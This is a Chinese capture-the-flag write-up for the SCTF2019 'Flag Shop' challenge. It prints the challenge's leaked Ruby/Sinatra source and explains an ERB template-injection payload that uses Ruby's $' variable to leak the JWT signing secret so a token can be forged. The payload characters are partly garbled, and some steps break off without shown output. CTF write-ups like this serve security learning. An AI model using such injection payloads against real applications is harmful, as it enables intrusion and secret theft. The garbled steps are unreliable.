[SCTF2019]Flag Shop

[SCTF2019]Flag Shop

解题

  1. 使用robots.txt,看到/static/secretkey.txt,但是源码在filebak中,不知道为什么

    ruby 复制代码
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    ENV["SECRET"] = SecureRandom.hex(64)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      en
    end
  2. 语法为Ruby的语法所以思路为Ruby模版注入。

    ruby 复制代码
      if params[:do] == "#{params[:name][0,7]} is working" then
     
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    发现secret的输出方式,其中ruby预定义变量里,在$'后会最后一次匹配字符串,所以进入代码后is working不被ruby代码解析,然后使用ERB模版进行注入。

    所以传入/work?SECRET=&name=<%= ′ '%>&do=<%= ′'%>is working

    得到:

    构造后,

将jwt解码得到flag

相关推荐
云边散步1 小时前
godot2D游戏教程系列二(4)
笔记·学习·游戏开发
jrlong2 小时前
DataWhale大模型基础与量化微调task4学习笔记(第 2 章:高级微调技术_RLHF 技术详解)
笔记·学习
Darkershadow2 小时前
蓝牙学习之Time Set
python·学习·蓝牙·ble·mesh
好奇龙猫2 小时前
【日语学习-日语知识点小记-日本語体系構造-JLPT-N2前期阶段-第一阶段(9):単語文法】
学习
AI浩2 小时前
约束模型下的目标检测置信学习
学习·目标检测·目标跟踪
枫眠QAQ2 小时前
hackthebox Cicada靶机
安全·web安全·网络安全
m0_748229993 小时前
ThinkPHP快速入门:从零到实战
c语言·开发语言·数据库·学习
風清掦3 小时前
【江科大STM32学习笔记-04】0.96寸OLED显示屏
笔记·stm32·学习
胡西风_foxww3 小时前
ObsidianAI_学习一个陌生知识领域_建立学习路径和知识库框架_写一本书
人工智能·笔记·学习·知识库·obsidian·notebooklm·写一本书
unable code3 小时前
磁盘取证-[第十章][10.1.2 磁盘取证方法]磁盘取证1
网络安全·ctf·misc·1024程序员节·内存取证